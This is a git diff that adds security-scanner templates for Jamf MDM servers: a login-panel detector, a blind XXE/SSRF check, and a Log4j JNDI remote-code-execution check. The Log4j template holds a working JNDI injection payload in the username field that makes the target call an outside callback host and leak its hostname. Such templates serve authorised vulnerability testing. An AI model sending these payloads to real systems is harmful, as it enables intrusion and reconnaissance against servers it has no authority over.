diff --git a/exposed-panels/jamf-panel.yaml b/exposed-panels/jamf-panel.yaml new file mode 100644 index 0000000000..aeffbaed7a --- /dev/null +++ b/exposed-panels/jamf-panel.yaml @@ -0,0 +1,25 @@ +id: jamf-panel + +info: + name: JAMF MDM Panel + author: pdteam + severity: info + metadata: + shodan-query: http.favicon.hash:1262005940 + tags: jamf,panel,mdm + +requests: + - method: GET + path: + - "{{BaseURL}}" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: all + words: + - "Jamf Pro Login" + - "Jamf Cloud Node" + condition: or \ No newline at end of file diff --git a/vulnerabilities/jamf/jamf-blind-xxe.yaml b/vulnerabilities/jamf/jamf-blind-xxe.yaml new file mode 100644 index 0000000000..f7d6678361 --- /dev/null +++ b/vulnerabilities/jamf/jamf-blind-xxe.yaml @@ -0,0 +1,50 @@ +id: jamf-blind-xxe + +info: + name: JAMF Blind XXE / SSRF + author: pdteam + severity: medium + reference: https://www.synack.com/blog/a-deep-dive-into-xxe-injection/ + tags: xxe,ssrf,jamf + +requests: + - raw: + - | + POST /client HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + + + + + + &test; + + + com.jamfsoftware.jamfdistributionserver + {{unix_time()}} + + 00000000-0000-0000-0000-000000000000 + com.jamfsoftware.jamf.distributionserverinventoryrequest + + 1999 + {{unix_time()}} + + + + 34 + + + + + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "http" + + - type: word + words: + - "com.jamfsoftware.jss" \ No newline at end of file diff --git a/vulnerabilities/jamf/jamf-log4j-jndi-rce.yaml b/vulnerabilities/jamf/jamf-log4j-jndi-rce.yaml new file mode 100644 index 0000000000..dacfc7651f --- /dev/null +++ b/vulnerabilities/jamf/jamf-log4j-jndi-rce.yaml @@ -0,0 +1,38 @@ +id: jamf-log4j-jndi-rce + +info: + name: JAMF Log4j JNDI RCE + author: pdteam + severity: critical + reference: https://github.com/random-robbie/jamf-log4j + tags: rce,jndi,log4j,jamf + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Referer: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + + username=${jndi:ldap://${hostName}.{{interactsh-url}}/test}&password= + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable + + extractors: + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output